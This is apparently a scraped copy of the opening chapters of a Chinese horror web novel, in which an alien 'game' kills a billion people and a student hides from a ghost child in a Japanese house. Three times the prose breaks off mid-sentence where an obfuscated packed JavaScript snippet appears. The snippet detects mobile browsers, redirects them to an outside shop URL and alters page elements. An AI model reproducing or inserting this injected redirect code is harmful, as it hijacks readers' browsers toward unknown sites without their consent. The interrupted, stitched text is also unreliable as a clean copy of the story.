《神洲乐园[无限]》 1. 《神洲行》上线 “叮……叮……当……” “叮……叮……当……” 一阵清脆的铃音响起后,空气中突然传来一阵隐约的童声: “かごめかごめ かごの中の鸟は いついつ出やる 夜明けのばんに 鹤と亀が滑った 後ろの正面谁?①” 滋……滋……滋…… 脑子里像是有什么电流被接通了。 孟熙宁猛地一下睁开眼睛,却发现自己正站在一户民居内部。 除了她以外,旁边还零散着站着十来个陌生人,有男有女,穿着打扮风格各不相同,甚至还有穿着睡袍和拖鞋的。 他们此时都闭着眼睛,像是睡着了一般。 孟熙宁的眼神从这些人身上一瞟而过后,迅速打量了一圈周围的环境。 看室内的装修风格,并不像是国内,从窗户往外望,都是白茫茫的一片,什么也看不清。 前一刻她才刚结束了晚自习回到家中准备休息,怎么会突然出现在这种地方? 孟熙宁正打算过去试试门窗能不能打开,那些闭着眼睛的人却在这个时候一个接一个地“清醒”了过来,看见周围陌生的场景,便是一愣。 显然都不太明白到底发生了什么事。 还没等人开口说话,孟熙宁的脑子里突兀地出现了一阵刺耳的电流声:“滋啦!” 她忍住痛感看向其他人,见所有人都忍不住捂住了脑袋,疼得额头都冒出汗来,顿时明白——有这种情况的并不只是自己。 “喂?喂?有人听到吗?喂?” 一阵怪异的电子音响起。 像是有人在对面和他们的脑子打电话。 “这里是《神洲行》官方服务平台,很荣幸在这里通知大家,你们所在的4474号星系9596号星球,也就是你们认为的地球——被选中成为《神洲行》游戏试炼场啦!” 嘈杂的电子欢呼和鼓掌声响起,吵得所有人头晕脑胀,干呕想吐。 那电子音却还没有结束,继续说道: “《神洲行》是一款集风土人情、生活日常、幽默刺激为一体,让大家在学中玩,玩中学的神级游戏。 其多变的游戏风格和超绝的游戏体验,深受宇宙各种族的五星好评,希望9596星球的游戏同好们,也能全身心投入其中,感受游戏的魅力。 游戏模块开始加载: 1%、2%、10%……” 听着数字不断攀升,孟熙宁眉头皱起。 什么乱七八糟的游戏,怎么还有霸王条款呢?不经玩家允许就开始加载,强迫人参与? 其他人面色也不太好,但因为大脑里的痛楚,没有人说得出话来。 那游戏加载的速度也很快,几乎是瞬间就到了百分之百,一个高昂的声音在所有人脑海中响起: “游戏化模块加载完成,《神洲行》顺利上线9596星球! 检测到该星球有七大洲,目前游戏板块也将分为七块。只有出现通关所有模块的玩家后,9596星球才能摆脱游戏,回到真正的现实世界线哦! 所以,大家不要想着逃跑啦咯咯咯咯咯~” 刺耳的笑声震得大家面色发白,那声音却不管不顾,继续说道: “具体通关条件和游戏内容,请玩家自行了解。 其他信息,可查询你们的腕表。 注意,请不要强行拆除腕表哟,否则…… 正好,现在的首发玩家数量也太多了些,不如就随机挑选一半,为大家表演一下烟花秀,顺带见识见识惩罚的力量吧! 三、二、一,砰!” 随着电子音响起,一股无形的力量瞬间笼罩了在场的所有人。 孟熙宁感觉有一道视线落在了她身上,逡巡片刻,又转移开来,就像是一种看不见的压力突然被撤走。 但下一刻,与脑子里响起的“砰”一起出现的,却是身边的巨响和尖叫。 “砰!砰!砰!” 旁边连炸三声。 刚刚还活生生站在这里的人类,其中三个就这么当场炸成了一簇簇血花,连个完整的尸体都没有留下。 鲜血和肉泥溅到旁边人的身上。 刚才还一脸疑惑的人群顿时炸开了锅,尖叫声和哭喊声此起彼伏。 “哇哦,真是一场精彩的表演!” 短暂消失的电子音又一次响起,明明是完全没有语气波动的声音,却让人莫名从中感觉到了深深的恶意。 孟熙宁只觉得一阵寒意从背后升起。 刚才那种无形的力量,就是在挑选要被首轮“淘汰”的玩家吧? 差一点…… 差一点,她就成了那不幸的二分之一。 这甚至没有规避的条件,不过是对方的随机挑选。 首发…… 她捏了捏手指。 难道是说,还有第二批、第三批……不断填入的玩家? 果不其然,她才这么想,就听那电子音道: “全球首发玩家共载入20,0000,0000,如今还剩下10,0000,0000。 除首发玩家以外,星球剩余人口将作为预备役,随时可能被抽调上线。” 周围能听到一阵吸气声。 短短一瞬间,就少了十亿人口! 虽然这些年总是说全球人口爆炸,可谁也没想到,现在会以这种形式“炸”掉! “惩罚已经明白了,现在让我们来说说奖励吧! 作为首批进入游戏的福利,玩家们都会有一项属于自己的天赋技能,这或许能够帮助你们过关。相关信息,也请自行了解。 每一轮游戏评分排行前三的玩家,可选择为自己所在的大洲模块加点。 获得加点的大洲模块,还未进入游戏的预备役玩家,获得天赋的几率会有所上升。 排行前三的大洲模块,会自动吸纳排行倒数三名的大洲部分资源,直到该大洲彻底崩坏消散。 感应到南极洲模块无永久居民,游戏上线前处于南极洲的玩家,将自动转籍至南极洲。 注意哦,崩坏消散的大洲,不仅还未进入游戏的预备役玩家会自动死亡,已经进入游戏的玩家也会随之下线死亡。 所以,请一定努力游戏,为你和你背后的家乡的生存加油!” 一个长着棕色头发的男人突然愤怒地挥了挥拳头,忍着痛大声说了几句话。 孟熙宁听懂了,对方说的是: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17129250|196181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “凭什么?这不公平!我不是南极洲的人!而且,人口越多,被选入游戏的概率越大,拥有好成绩的可能也就越大。这对我们转到南极洲的玩家不公平!” 电子音却毫无波动地说道: “有玩家对游戏的公平性存疑呢。 放心,《神洲行》是一款绝对公平公正的游戏!我们只钟爱优秀玩家,至于其他…… 表现不好,就好好反思自己的游戏能力,怎么能怪游戏不公平呢?” 好家伙,这是所有游戏权归它解释是吧? 那男人还想再争辩什么,却突然浑身一僵,像是触电了似的抽搐了几下,随即面色铁青地闭上了嘴,保持安静继续听了起来: “除了日常奖励,还有一个终极大奖! 那就是——成功打通所有关卡的玩家,不仅可以带走你们游戏里拥有的所有天赋技能,还能合情合法地拥有百亿地球货币!” 听到这儿,孟熙宁明显感觉到,周围有人的呼吸加重了。 先不说那虚无缥缈的天赋有没有用,光是那一百亿的财富,就很难让人不心动。 可那电子音显然没有继续细讲这些的打算,最后只扔下了一句“记住,游戏里死亡,就是真正的死亡,不能再回到现实世界”,就安静不语了。 没有了脑子里的声音,脑子里的疼痛感也渐渐消散,大家的注意力这才放到了身边的这些人上。 “¥%%¥#……” 一个皮肤偏黑,脸上还抹着复杂的像是油彩画一样的男人张嘴说道。 但这里仅存的九个人,好像没有谁能听懂他在说什么。 这人隶属于非洲的一个小部落,所说的语言的确是鲜为人知的小语种。 孟熙宁向来对各个地方的历史文化很感兴趣,为此还特意学了许多地方的语言,正好能听懂对方在说什么。 他是在问有谁和他属于同一阵营,想组成自己的小队完成任务。 孟熙宁没有当翻译的意思,游戏刚开始,彼此都不了解,她当然也不可能贸然和人组队,所以并未搭话。 这男人又说了几句,见还是没人有动静,只能挥舞了一下拳头,转身走了。 他身上穿的衣服也和大家不太一样,像是用什么植物和动物的皮毛编织而成,光裸着的胳膊上,也画满了和脸上一样的纹路。 只不过,他才刚走出几步路,就在门口玄关处,被什么看不见的东西给挡住了,发出“啵”的一声响,便踉跄着往后倒下。 剩下的人被之前游戏的杀戮留下了心理阴影,听到声音都吓得一抖,纷纷往后退了一步。 等看到那人骂骂咧咧爬了起来,并没有什么生命危险,大家才齐齐松了一口气。 没等他们提起这口气,空中突然传来了一阵铃铛声: “叮……叮……当……” “叮……叮……当……” 伴随着铃声一起响起的,是一个小孩子稚嫩的声音: “かごめかごめ かごの中の鸟は いついつ出やる 夜明けのばんに 鹤と亀が滑った 後ろの正面谁?” 孟熙宁眼睛一眯,这童谣,她在醒来时好像听过? 2. 《笼中鸟》游戏开始 刚醒来时大脑还有些迷糊,孟熙宁也不十分肯定这一点。 但这慢悠悠的童声,听上去的确是有几分熟悉的。 听到声音的众人都觉得头皮发麻,哪怕互不相识,甚至可能互相语言不通,九人也还是不约而同往中间靠拢,将背部转向同为人类的玩家,面朝外部,不停张望四周。 刚从玄关处起来的那人,也顾不上去其他地方探索了,一脸紧张地也挤入了九人中。 孟熙宁没有做出和其他人不一样的行为,顺从大流站在人群里,心中却已经暗自分析起来。 如果她没记错的话,这声音唱的,应该是一首来自R国的童谣? 这童谣有很多种含义,最基础的是指一个叫笼中鸟的儿童游戏,除此以外还能引申出各个版本的深层故事。 考虑到之前那个电子音所说的《神洲行》是一款“游戏”,孟熙宁将注意力放在了“笼中鸟”这个儿童游戏上。 游戏的规则很简单,有点像是国内小朋友玩的丢手绢。 一个人在中间蒙眼当“鬼”,其他几人围绕鬼转圈,同时唱《笼中鸟》的歌词。 当歌词唱完后,所有人停住不动。 中间的“鬼”需要猜出此时ta背后是谁面对着ta。 如果猜对了,被猜出的那人就会变成“替身鬼”。 如果猜错,游戏继续。 所以,是要让他们在这里玩“笼中鸟”的游戏吗? 孟熙宁快速打量了一下周围的环境。 他们所在的,是一处二层高的R国风格的民居。 和正常人家的住宅功能区规划不同,这处民居的一楼中间,留出了一小块圆形的空地,周围几个或封闭或开放式的空间围绕着空地区分开来。 两侧各有一处通往二层的楼梯,呈旋转上升形。 楼上具体的房间情况看不清,却也是围绕着一楼中间的空地修建而成的。 电子音说的首发玩家有20亿人,刚才第一波已经死去10亿,还剩下10亿。 而他们这里,孟熙宁醒来后就数过了,加上她一共有十三个人。 死在第一波爆炸里的有三人。 现在还剩下十人。 所以,同时进行的,肯定还有许许多多数不清的其他游戏副本,他们这十亿人口,就分布在这些游戏中。 就是不知道,大家玩的是同一款游戏,还是各有不同了。 有前面诡异的血腥杀戮手法在,没有人会去怀疑游戏的真实性,以为这不过是个奇怪的整蛊活动。 孟熙宁打量着一楼中间的空地。 虽然空间不算太过狭窄,但要让十个人,看上去还是十个已经成年的大人,围成圈在这里玩游戏,还是不太够吧? 他们十个人此时站在靠近玄关处的位置挤作一堆,并没有往那空地走的意思,显然是怕二楼突然有什么危险物品掉落。 从这里看,那空地最多也就容纳两三个人手拉手成圈,十个人,还是太拘束了些。 而且…… “鬼”是谁? 是从他们十人里随机抽选,还是…… 另有真的“鬼”存在? 这念头刚一闪过,孟熙宁就想到了刚才哼唱童谣的那个声音。 “叮……叮……当……” “叮……叮……当……” 铃声再次响起。 这一次,那声音的音量比上一次更大了些,好像是……发出声音的音源离他们更近了些。 挤在一起的人们只觉得心里惴惴不安,看哪儿都像是藏着什么可怕的杀人怪物。 孟熙宁刚想低头看一看手腕上的腕表信息,眼神就突然一凝,定在了一楼的空地处。 刚才还空空如也的小块儿地盘,此时却站着一个小小的人影。 那是一个个子还不及她腰部高的小男孩。 他穿着一身发黄的白色衣服,那衣服空荡荡的十分宽大,像是套了一件大人的衣服,两条枯柴一般的腿光溜溜地暴露在空气中。 那衣服,就像是医院里为即将手术的病人准备的病服是的,像是背后也包裹起来了的大罩衣。 他的头发剃得只剩下头顶一小撮,用一根细细的红色发绳系着。 肤色极白,没有一点儿红晕。 唇色发乌,像是中毒了一般。 眼睛却大极了,几乎占据了那张惨白的脸的上半部分。 如果不是他的一双眼睛里只能看到黑漆漆的眼珠,不见一点儿眼白的话,这也是个瘦弱到惹人怜爱的小孩儿了。 小男孩儿的手中提着一个白色的纸灯笼,里面发出幽幽红光,映衬得他身上的白衣服都有一块发红,就像是血迹在衣服上蔓延开留下的痕迹似的。 灯笼的下方悬挂着一个铜色的铃铛。 刚才听到的铃声,应该就是他摇晃灯笼时发出的响声。 不只是孟熙宁,其他人很快也发现了这个小孩儿的存在。 “鬼!是鬼!这地方有鬼啊!” “啊啊啊啊!!!” “这玩意儿是什么时候出现的?为什么没听到脚步声?!” “靠!这是什么东西!” 人群中用不同的语言惊呼着。 有惊惧不已的疑惑,有强装镇定的询问,还有无意义的尖叫。 倒是没有人上前去接近那个男孩儿。 毕竟谁也不是傻子。 那孩子出现的时间和地点都十分诡异,更别说那跟正常活人不沾边的长相特征了。 没有谁会把他当成一个普通的活人小孩子看待。 那小孩儿也没有替他们解答疑惑的意思,自顾自站在原地,摇头摆尾地唱起了童谣,歌词内容还是和大家刚才听到的一模一样。 他的手也跟着摇晃起来,手里提着的纸灯笼自然也开始晃动,灯笼下挂着的铃铛便这么发出了“叮叮当”的响声。 本来旋律听上去就阴森森的童谣,加上那小男孩睁着一双不见眼白的黑色大眼睛死死地盯着他们这群活人,大家都觉得头皮发麻,浑身如坠冰窖。 他那双大得夸张的眼睛里看不到一点儿属于活人的情感,更像是瞧见了什么美味的猎物,就连那乌黑的嘴唇,都不由得张开来,黑漆漆的嘴里看不清牙齿的模样,像是一个能将人吞噬的黑洞。 已经有胆子小的当场吓哭出来,却又不敢发出太大的声音,伸手死死地捂住了嘴。 “关键NPC出场!” 电子音在脑海中响起。 也不知道是游戏彻底加载完成了,还是大家有了耐受性。 这一次声音的出现,并没有让人觉得疼痛。 相反,这声音让很多人心里安定了几分。 虽说这玩意儿背后的力量也很恐怖,轻描淡写间就轻易取走了十亿人的性命。 但比起“鬼怪”这种常理难以解释的灵异类存在,这种和科技有些沾边的感觉,反而更让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17129251|196181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人觉得安心。 就像是在两坨屎里选了味道更能让人接受的那一坨。 “《笼中鸟》关卡激活! 游戏说明: 1.在《笼中鸟》游戏彻底结束前,玩家无法离开游戏规定的范围; 2.游戏场地在此处两层小楼,游戏开始后,鬼闭眼站在一楼中央空地,其他玩家立刻在场地内寻找自己的藏身处; 在此过程中,鬼和玩家齐唱童谣三遍,童谣歌词结束后,玩家活动范围不能离开所在地超过半米,否则视为违规; 最先被鬼找到的玩家,游戏失败; 鬼找到一位玩家后,一轮游戏结束,自动开始下一轮; 3.本局《笼中鸟》游戏一共三轮,每一轮结束后,鬼和剩下的玩家都会重新刷新在现在的初始位置。 三轮游戏后,其他还未被鬼找到的玩家成功通关《笼中鸟》。 4.在游戏场地内,隐藏着几种神奇的游戏道具,可能会对你们的游戏体验造成一定影响,请注意寻找收集。” 游戏规则公布完毕后,那电子音音量瞬间变大了几分,用力地开始倒计时: “五、四、三、二、一,游戏,开始!” “かごめかごめ……” 提着纸灯笼站在一楼空地中间的小男孩,最后贪婪地看了他们一眼,便闭上了眼睛,张嘴唱起了童谣。 剩下的人顿时慌作一团。 有很多人方才只顾着害怕,并未刻意去记童谣。 何况,这童谣的语言对于有的人来说并不熟悉,根本就听不懂,更别说是听一遍就记住一共有几句,又或者是唱的什么意思了。 游戏规则里还需要他们跟着一起唱。 于是,听不懂的人只能附和着那小男孩的音调哼唱。 更少见的小语种孟熙宁都会,R国的语言对她来说并无难度。 她很快就找到了节奏,跟着唱了起来。 除她以外,还有两个人也唱得像模像样,显然也是能听懂的。 其中一个中年男性甚至发音十分标准,神态还有几分想要隐藏却又忍不住要流露出来的得意。 有很大可能就是R国的本国人。 孟熙宁的注意力没有在这些人身上多停留,而是想也不想就离开了这个“保护圈”,往旁边跑去。 她一动,其他人也忍不住四散跑开了,生怕留在原地被鬼抓住。 乱糟糟的环境下,孟熙宁依旧小心控制着自己的脚步声,很快选中了目标,心里的盘算更是一直没停。 一共有六句歌词。 一共会唱三遍。 这小鬼唱的并不快,每个发音都刻意拖长的声调听上去令人害怕,却也让他们有了更充裕的时间。 孟熙宁一边跟唱,一边在心中默默计算着时间。 每一句的词数量都差不多,按照第一句唱出来的速度,大概花费了十秒,甚至更长,每隔两三个音就会停顿一下。也就是说,三遍唱下来,他们至少是有两分钟,甚至更长的活动时间。 为了以防万一,孟熙宁就按照两分钟来计算了。 听上去并不长,要想做点儿什么并不容易。 她刚才就看过了,一楼一共有三个房间。 两个是开放式的空间,没有门板阻挡,另一个关着门,不知道里面是什么。 得益于刚才第一个行动,此时她赶在了所有人前面,一个加速,冲到了第一个房间里。 3. 藏藏藏 一头扎进房间以后,孟熙宁才发现,这原来是一个小厨房。 厨具挺多,但都乱七八糟地堆积在没有柜门的橱柜里,空气中都能闻到一股腐朽的怪味。 孟熙宁闯入厨房的时候,十几只黑色的虫子仿佛受到了惊吓,从那乱糟糟的橱柜里蜂拥而出,发出“嗡嗡”的细碎声音,又很快隐匿到房间的各个角落缝隙中不见了。 她忍住不适,动作没有片刻停顿,直接从左往右检查过去。 柜子都是敞开的,没有什么可以隐藏的盲区。 右边柜子侧边,留出了一个半人宽的缝隙,里面塞了一口黑色的水缸。 水缸上盖着一个竹篾编制而成的盖子,一提起来,就见水缸中盛满了液体,表面还漂浮着泡得发乌的植物碎片。 厨房里一直不散的异味,大多数都来源于此。 操作台上散落着东倒西歪的碗筷,还有一个已经发霉的实木砧板。 零碎的食材洒在案板上,像是有人在这里做饭时遇到了意外情况,发生了冲突以后逃走了,来不及收拾残局。 有砧板…… 孟熙宁伸手将砧板抬起来看了看。 菜刀呢? 怎么不见菜刀? 厨房不大,有什么东西一眼就能看见。 不管是柜子里还是操作台上,都没有菜刀的踪迹。 灶台上放着一口高压锅,孟熙宁刚过去打开锅盖,就被里面暴露出来的东西刺激得喉头干呕一声。 高压锅里不知道炖了什么东西,白花花的浮油已经干得贴在了锅上,不停有米白色的肉虫从下边咕蛹着钻上来。 一股和那水缸里不相上下的臭味迅速扩散开来。 刚跟着孟熙宁后面冲进厨房的另一个玩家脸色一青,当即就忍不住骂出声来: "Oh Fuck!What the hell is this?" (靠,什么鬼东西?!) 他也没想过要一个答案,说完以后就赶紧又跟着哼唱起童谣,同时捂着鼻子开始在厨房里翻找起来,想看看能不能找到适合的藏身处。 当然,如果能找到一个刚才电子音所说的道具就更好了。 孟熙宁没有多停留,直接出了厨房,和这人擦肩而过,然后头也不回地往楼梯的方向跑去。 此时,一楼停留的玩家还有大半,但都在房间里摸索,显然对那个能够影响游戏的道具都很感兴趣。 提着纸灯笼的小男孩则是老老实实闭着眼睛,自顾自地唱着歌。 说来也怪,那歌声就像是用扩音器放大扩张过似的,不管在这房间的什么位置,都能清清楚楚地听见,只是分声音大小不同而已。 “咯吱!” 鞋底才刚踩上去,这木制的楼梯就发出了刺耳的响声。 孟熙宁脚步一顿,想也不想,立刻脱掉了鞋子,穿着棉袜放轻脚步往上跑。 还剩下不到一分钟了! 她避开了最容易发出声音的中间部位,借助手臂的力量抓住扶手,顺着扶手与楼梯踏板的连接处踩。 果然,这个部分的城中路更强,形变幅度更小,在刻意控制力道后,果然比中间悬空的部分发出的动静小许多,几乎是没什么声音的。 她松了口气,一路到了二楼。 此时,在她心里计算的时间已经过去了一分四十秒。 童谣也已经过了大半,唱到了最后两句。 二楼的场景也映入了眼帘。 和楼下一样,一共有三个房间,此时都开了门。 第一个房间没人,另外两个房间还能看到几个玩家的身影在跑来跑去,像是在找藏身处。 孟熙宁直接进了靠近楼梯的第一个房间。 她先是打开了窗户,从之前跑动时就一直扇动的动作此时才停了下来。 厨房里的异味太重了。 她不确定那个小鬼是靠什么手段找人的,自然要提防在这上面吃了亏。 “啊!” 一声惨叫突然响起。 不管是正在奔跑的玩家,还是刚找好了地方,准备躲起来的玩家,动作都是一顿。 怎么回事? 是有人被袭击了吗? 不对啊。 童谣声还没有停,为什么会出现这种情况? 难道…… 不是鬼出手,而是玩家之间的争斗? 短暂地停顿以后,大家更是动作加快了几分,谁也不敢想,刚刚从一楼传来的声音是代表了什么意思。 孟熙宁这会儿已经站在了第一个房间里。 那声惨叫,她听着却是有几分耳熟的。 不就是刚才在她后面进厨房的那个男人的声音吗? 是厨房出事了? 孟熙宁脑海中闪过了那个水缸和高压锅,还有失踪的菜刀,随后摇了摇头,将注意力放在了跟前。 这房间里东西不多,除了铺在地上的垫子枕头,就只剩下一个铺满了整面墙的大衣柜。 推拉式的衣柜门开了一半。 比起一楼开放式、连橱柜都没有门的厨房,这房间里的衣柜显然是个很好的藏身地。 可是,那些玩家却没有停留在此处,反而往后面两个房间去了。 孟熙宁很快就知道了原因。 衣柜里分为上下两层,用一块隔板分开。 上层空间很小,是空的。 下层挂衣区,却是挂满了各种各样的和服,几乎塞满了衣柜的三分之二空间。 而推开的柜门处,一具穿着和服的枯骨正仰面躺在那儿。 下半身还在衣柜里,上半身露出来。 骸骨上的肉早就已经腐朽消失,只剩下留了斑斑痕迹的骨头。 看衣服的样式,这应该是一位“女士”。 她的衣服格外宽大,按照骨头的体型想象出来的躯体,这衣服的尺码也过于大了一些。 骸骨的头颅上,两个眼窝就像是两个看不见底的黑洞,幽幽地盯着进入这个房间的每一个人。 光是对上视线,就让人觉得心里毛骨悚然。 而她的那一头长发,居然还黑亮亮的,没有一点儿枯燥的痕迹,就这么披散开来,将她的手臂给遮住了大半。 按照铺垫子那边的情况看,这房间的地板应该是米黄色的。 可是,衣柜这边的地板,以这具枯骨为中心,蔓延开一大片深褐色。 显然,是地板被大量的鲜血浸泡之后,长年累年风干下来变成了这种模样。 此时,童谣已经唱到了最后一句的中间部分了。 孟熙宁低头对着这枯骨拜了拜,开口无声地说了一句: “打扰了,借用一下贵地。” 便钻进了衣柜里。 临进去之前,她动作一顿,顺手轻轻拂开了枯骨的长发。 露出来的和服侧面靠下的位置 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17129252|196181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,有一块像是干掉的肉一样的东西,已经和地面完全黏在了一起。 而这女尸的右手骨头里,还握着一样东西。 孟熙宁眼神一闪,将那东西捞过,然后隐入了衣柜的阴影中。 就在她刚进入衣柜的那一刻,外面的童谣声停了下来。 “叮……叮……当……” “叮……叮……当……” 熟悉的铃铛声响了起来。 除去铃铛声以外,还有一阵慢慢的脚步声: “哒哒、哒哒……” 出现以前,脚步一直悄无声息的鬼,此时居然发出了声音,就像是在刻意提醒玩家们他的存在。 “かごめかごめ……” 童谣声又一次响了起来。 不过,孟熙宁却发现,这童谣的后半部分歌词被改了,意思和之前完全不同,就像是唱童谣的那位在即兴发挥: “一个两个三个, 四五六七八九十。 哒哒哒哒哒哒, 六双小脚往上跑, 还有一个去哪儿啦?” 孟熙宁放轻了呼吸。 她刚才,的确在二楼看见另外房间里的人影,差不多就有六个了。 二楼没有玄关等地方,空间比一楼大很多,另外两个房间光是从外面扫一眼,面积也比她现在所在的这个房间大出许多。 而且,看上去是放置了不少家具的。 也难怪那几个玩家更倾向于去后两个房间躲藏。 可楼下的那个鬼,居然没有把她算在上楼的人数里。 孟熙宁没有激动,也没有兴奋,情绪十分平静,注意听着楼下的动静。 按照常理应该先从最近的一楼找人的鬼,却舍弃了这个选项,直接往二楼来了! 孟熙宁之所以知道这一点,当然是因为那木制楼梯发出的“吱呀”声太过明显。 “吱~呀……” “吱~呀……” “かごめかごめ……” 随着缓慢的脚步声,阴森森的童谣声又一次响了起来。 孟熙宁刚才没有特意关上原本打开的房门,所在的房间又离这边的楼梯口最近,便感觉那歌声的音量越来越大,像是要在她耳边响起了。 脚步声很快靠近了这个房间。 那小鬼“啪嗒啪嗒”迈着光脚走了进来。 像是精准地找到了目标,直接往衣柜这边找了过来。 此时,一楼的玩家都纷纷松了一口气。 去二楼了。 二楼那么多人,总会有一个遭殃的。 太好了! 他们这一轮游戏算是安全了吧?! 后两个房间里的玩家也稍微放松了些。 还好。 还好他们刚才没有在那个房间停留! 果然,靠近楼梯口就是最危险的。 虽然左边这个楼梯口的房间同样离得近。可至少里面能藏的地方多啊。 不像那个房间…… 谁知道那个死了的女人会不会也是什么鬼? 到时候被两个鬼夹击,必死无疑啊! 想到方才隐约间看到走进那个房间后就没出来的那个年轻玩家,几人心里又是庆幸又是同情。 这一轮的替死鬼是有了。 而此时,提着纸灯笼的小男孩,已经走过了上半身躺在地上的尸体,猛地一下将头伸进了开着的衣柜里! 4. 躲过了! 房间里的光线本就不算明亮,半封闭的衣柜里就更是黑漆漆一片了。 一眼望过去,除了衣服就是衣服,根本看不见人影。 小男孩的视线在衣柜里逡巡了一番,没看到人,又踮起脚,本来正常的脖子,突然像是长颈鹿一般延伸往上,将上面狭窄的那一层隔柜也看了一遍。 空的。 别说是大活人了,连只虫子也没看见。 刚才还信心满满的鬼一时间有些疑惑,奇怪地“咦”了一声后,脖子又恢复成了正常形状。 他那双大得有些可怖的眼睛眯起来,很不高兴地收回了脚跟,转头往门口走去。 才刚走到木门的位置,这小鬼却猛地一下回身,直接冲到了衣柜的另一边,“刷”的一下,将本来关在这边的衣柜门,用力地推到了另一边! 那边的女尸一半身体还在衣柜里。 被衣柜门这么用力一夹,撞击的力道瞬间让她的骨头变成了上下两半,发出“咔嚓”一声脆响。 同时,原本被柜门挡住的衣柜里侧,就这么暴露了出来。 衣柜里的和服没有完全挂满,除了最外面女尸躺下的地方,这里面的确还有一个小小的空间,正好够一个人蹲着缩在这里。 然而…… 小鬼皱起眉头,生气地将挂着的那些衣服往另一边用力推了一下。 没有人! 怎么会没有人呢? 推完以后,他突然顿了一下,像是心虚一般,看了一眼另一边的女尸,然后,踮起脚乖乖地将第一件和服往里侧的空处挪了挪,又轻轻地顺了顺和服的袖子,像是要抚平上面的布料褶皱。 如果忽视了他指甲缝里干掉后发黑的血迹,还有那双明显不是活人的眼睛,这看上去就像是闯祸以后假装自己很忙的小猫。 装作收拾好了以后,小鬼退后半步,将衣柜门又拉了回来。 走到女尸身边的时候,他飞快地将刚才被撞变形的女尸身体拼好,然后迈开腿跑向了屋外。 “咚咚咚咚”的脚步声比之前要急促许多,连带着纸灯笼上的铃铛声也跟着摇晃得更快了些。 眼见那小鬼身影已经走到了门外。 本来就要离开的他,突然又停下了脚步。 整个脑袋像是木偶玩具一般,突然回转了一百八十度,直直地看向了房间里。 铺好的垫子那边没有人,衣柜里也还是没有任何动静。 好,很好。 小鬼气呼呼地走了。 听那格外用力的脚步声,就知道他此时心中有多气愤。 听着脚步声离这边越来越远,的确没有再第三次返回的意思,连带那听着情绪有些不好的童谣声都再次响起了,衣柜里的孟熙宁终于长长地舒了一口气。 可把她给憋坏了。 如果不是平时热爱运动健身,游泳潜水更是常客,她都憋不了这么长时间的呼吸。 孟熙宁此时的确在衣柜里。 只是,并没有蹲在某个空出来的角落,而是将自己缩进了一件宽大的和服中。 这些衣服看上去很久没人穿过了,有一股发霉的尘土味道。 她将自己套了进去,稍微缩一缩腿,就能让这已经拖到衣柜底部木板的裙摆将她完全遮挡住。 在没有光线照进来的衣柜中,又被前后多件和服挤在一起,她彻底淹没在其中。 最危险的,就是那小鬼赌气一推。 好在孟熙宁力气足够,身体的柔韧性也很好,用脚尖努力维持着平衡,整个身体随着那些衣服一起往左边倾倒一下。 整个过程完全没有发出一点儿额外的动静。 连呼吸都不敢。 直到那小鬼彻底离开了,她才终于能开始自由呼吸。 孟熙宁没有忙着出衣柜,只是放松了脚部,有把手从衣服里活动了一下,收到面前,就这么缩在衣服里面,对着左手手腕上的那块腕表,静悄悄地查阅起信息来。 每一轮游戏的时间没有给出限制。 但是,那是对小鬼而言。 对他们玩家来说,也就只有两分钟左右的自由行动时间。 这点儿空隙,能够四处搜查道具、寻找藏身地,保证自己的安全就很不错了,哪还有时间去查看别的? 那电子音提到的腕表,更是一直没工夫去细看。 好在,那玩意儿还挺神奇。 明明没有背光,在这样黑漆漆的环境里,居然也能看得清清楚楚。 小小的屏幕,很快将她的信息排列出来。 孟熙宁跳过了前面的姓名、年龄等正常信息,直接拉到了天赋那一栏。 她记得,那电子音说过,作为首批进入《神洲行》游戏的玩家,他们是有一个福利的,人人都会拥有属于自己的天赋技能。 而后期第二批、第三批等再进入游戏的玩家,就没有这种机会了。 能不能开启天赋技能,要看前面的玩家能否为他们所在的大洲板块加点,提升天赋开启的可能性。 此时,孟熙宁的天赋栏里,就写了四个加粗的大字: 百科全书。 而在这个名字后面,还有一个括号,里面用小了许多的字体标注着(残缺版)。 她试着伸手去点击这个名字。 可很快,腕表的屏幕上就跳出了一个弹窗: 【未激活】 孟熙宁:??? 她连续点了好几次,可每一次都只有这么一个简单的告示,连一个额外的提示都没有。 未激活? 所以,要怎么才能激活呢? 是需要什么道具,还是要满足什么数据,又或者是需要通关第一次游戏以后,才能正式激活这个天赋? 孟熙宁暂时找不出答案,翻遍了屏幕里的内容,也没有可以解答的地方,于是她干脆放到一边,不再纠结。 不能用的东西,就暂时当做不存在吧。 她直接将目光转移到了下一行真实存在的东西上。 道具:菜刀。 这是她刚才将要进入衣柜时,从女尸的右手手骨中抽出来的东西。 一把锃亮的菜刀。 大概就是厨房里失踪的那一把了。 